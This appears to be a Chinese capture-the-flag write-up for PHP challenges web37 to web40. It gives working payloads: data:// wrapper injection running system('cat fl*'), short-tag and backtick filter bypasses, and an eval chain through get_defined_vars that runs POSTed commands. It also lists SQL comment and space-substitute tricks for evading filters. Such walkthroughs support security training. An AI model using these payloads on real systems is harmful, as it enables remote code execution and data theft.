web 37

考察data伪协议,data伪协议需满足allow_url_fopen,allow_url_include同时开启才能使用。
payload:
1
| /?c=data://text/plain,<?php system("cat fl*");?>
|
web38

php被过滤了,可以用短标签绕过php。
短标签:比更灵活调用的方法 /*程序操作*/ ?> =/*函数*/?>
paylaod:
1 2
| ?c=data://text/plain,<?=`cat fla*`;?> /?c=data://text/plain,<?=system("cat fl*");?>
|
web39
include中多了个.php,但是上一题的payload也管用,看别人的wp说是有?>结尾进行闭合,所以没有影响。
payload:
1
| /?c=data://text/plain,<?php system("cat fla*")?>
|
web40

这个过滤了不少东西,但是没有过滤英文字母、下划线和英文的括号。
可以用提示的方法
1 2 3 4 5 6 7
| show_source(next(array_reverse(scandir(pos(localeconv()))))); show_source()函数对文件进行语法高亮显示 next() 函数将内部指针指向数组中的下一个元素,并输出 array_reverse() 函数以相反的元素顺序返回数组 scandir() 函数返回指定目录中的文件和目录的数组 pos() 函数返回数组中的当前元素的值 localeconv() 函数返回一包含本地数字及货币格式信息的数组
|
也可以换其他方法
首先
1
| /?c=print_r(get_defined_vars());
|
获得一下信息

使用next获取这个数组的下一个位置的元素,也就是POST的元素.
1
| /?c=print_r(next(get_defined_vars()));
|

然后把这个元素弹出,用array_pop
1
| /?c=print_r(array_pop(next(get_defined_vars())));
|

最后再用eval执行一下就可以了
1
| /?c=eval(array_pop(next(get_defined_vars())));
|
POST数据
1
| 1=system("cat flag.php");或1=echo`cat flag.php`;
|
关于echo、print、print_r的区别可以参考:https://blog.51cto.com/zlong37/1556855
常用的注释符
1
| #、--、-- -、//、/**/、/*letmetest*/、;%00
|
MySQL中可以代替空格的字符
1
| /**/、()、=、%20、%09、%0a、0x0a、0x0b、0x0c、0x0d、+、-、~、.等等
|